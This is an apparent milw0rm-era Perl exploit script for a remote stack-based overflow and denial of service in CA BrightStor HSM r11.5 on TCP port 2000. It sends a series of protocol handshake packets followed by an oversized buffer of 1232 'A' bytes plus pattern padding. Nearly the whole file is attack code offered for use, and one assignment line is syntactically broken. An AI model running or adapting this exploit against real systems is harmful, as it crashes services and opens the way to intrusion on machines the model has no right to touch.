110 lines
No EOL
3.1 KiB
Perl
Executable file
110 lines
No EOL
3.1 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
#
|
|
# *
|
|
# * C@@@@@ O@@@@@@@ C@@@@@ O@@@@@@O C@@@@@@@@@o
|
|
# * C@@@@@@@@@@@@@@@@O C@@@@@@@@@@@@@@@@O C@@@@@@@@@@@@@o
|
|
# * C@@@@@@o .8@@@@@@. C@@@@@@o 8@@@@@@. @@@@@@O .@@o
|
|
# * C@@@@@ @@@@@@c C@@@@@ @@@@@@c C@@@@@c
|
|
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: @@@@@@
|
|
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: 8@@@@@
|
|
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: :@@@@@@ ::
|
|
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: c@@@@@@@Coo8@@@o
|
|
# * C@@@@@ O@@@@@: C@@@@@ O@@@@@: C@@@@@@@@@@@@o
|
|
# *
|
|
# * [0x00001010]
|
|
# *
|
|
# * Title: CA BrightStor HSM <= r11.5 Remote Stack Based Overflow / DoS
|
|
# * For: Windows XP (SP2 Professional) / Windows Server 2003 (Enterprise Edition)
|
|
# * Released by: NiceNameCrew [http://nnc.unkn0wn.eu]
|
|
# * Author: boecke <boecke@herzeleid.net>
|
|
# * Discovery: iDefense
|
|
# * Vulnerability Type: Remote Stack Overflow / DoS
|
|
# * Risk: High
|
|
# * TCP: 2000
|
|
# *
|
|
# * This body, this body holding me, be my reminder here that I am not alone.
|
|
# *
|
|
#
|
|
|
|
use IO::Socket;
|
|
|
|
$handshake =
|
|
"\x14\x00\x00\x00" . # [0x14000000] INIT_BEGIN
|
|
"\x42\x00\x00\x00" . # [0x42000000] FX_SET_CONSOLE_CREDENTIALS
|
|
"\x07\x00\x00\x00" . # [0x07000000] GUI_FLAGS
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00"; # [0x00000000] END
|
|
|
|
# 0030 ff d1 7b ef 00 00 14 00 00 00 44 00 00 00 07 00 ..{..... ..D.....
|
|
# 0040 00 00 00 00 00 00 00 00 00 00 ........ ..
|
|
|
|
$handshake_auth =
|
|
"\x14\x00\x00\x00\x44\x00\x00\x00\x07\x00\x00\x00" .
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00";
|
|
|
|
$handshake_auth2 =
|
|
"\x14\x00\x00\x00\x03\x00\x00\x00" .
|
|
"\x07\x00\x00\x00\x00\x00\x00\x00" .
|
|
"\x08\x00\x00\x00";
|
|
|
|
$handshake_auth3 =
|
|
"\x14\x00\x00\x00\x32\x00\x00\x00" .
|
|
"\x07\x00\x00\x00\x00\x00\x00\x00" .
|
|
"\x1C\x00\x00\x00";
|
|
|
|
$handshake_auth4 =
|
|
"\x14\x00\x00\x00\x1C\x00\x00\x00" .
|
|
"\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
|
|
|
# List Network Locations
|
|
$drives =
|
|
"\x14\x00\x00\x00\x0F\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
|
|
|
# List Computers on Network (MSHOME)
|
|
$computers =
|
|
"\x1A\x00\x00\x00" .
|
|
"\x27\x00\x00\x00" .
|
|
"\x07\x00\x00\x00" .
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00" .
|
|
"\x4D\x53\x48\x4F\x4D\x45" (MSHOME)
|
|
|
|
$damage =
|
|
"\x40\x05\x00\x00\x1D\x00\x00\x00" .
|
|
"\x07\x00\x00\x00\x00\x00\x00\x00" .
|
|
"\x00\x00\x00\x00" .
|
|
"\x41" x 1232 .
|
|
"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK" .
|
|
"LLLLMMMMNNNNOOOOLOLO" .
|
|
"\x41\x42\x43\x44" .
|
|
"RRRRSSSSTTTTUUUU" .
|
|
"VVVVWWWW" .
|
|
"\x2E\x41\x3B" .
|
|
"\x00\x00\x00\x00\x00\x00";
|
|
|
|
if ( $socket = IO::Socket::INET->new( PeerAddr => "127.0.0.1", PeerPort => "2000", Proto => "TCP" ))
|
|
{
|
|
print $socket $handshake;
|
|
recv($socket, $reply, 256, 0);
|
|
print($reply . "\n");
|
|
|
|
print $socket $handshake_auth;
|
|
recv($socket, $reply, 256, 0);
|
|
print($reply . "\n");
|
|
|
|
print $socket $handshake_auth2;
|
|
recv($socket, $reply, 256, 0);
|
|
print($reply . "\n");
|
|
|
|
print $socket $handshake_auth3;
|
|
recv($socket, $reply, 256, 0);
|
|
print($reply . "\n");
|
|
|
|
print $socket $handshake_auth4;
|
|
recv($socket, $reply, 256, 0);
|
|
print($reply . "\n");
|
|
|
|
print $socket $damage;
|
|
recv($socket, $reply, 256, 0);
|
|
print($reply . "\n");
|
|
}
|
|
|
|
# milw0rm.com [2007-10-27] |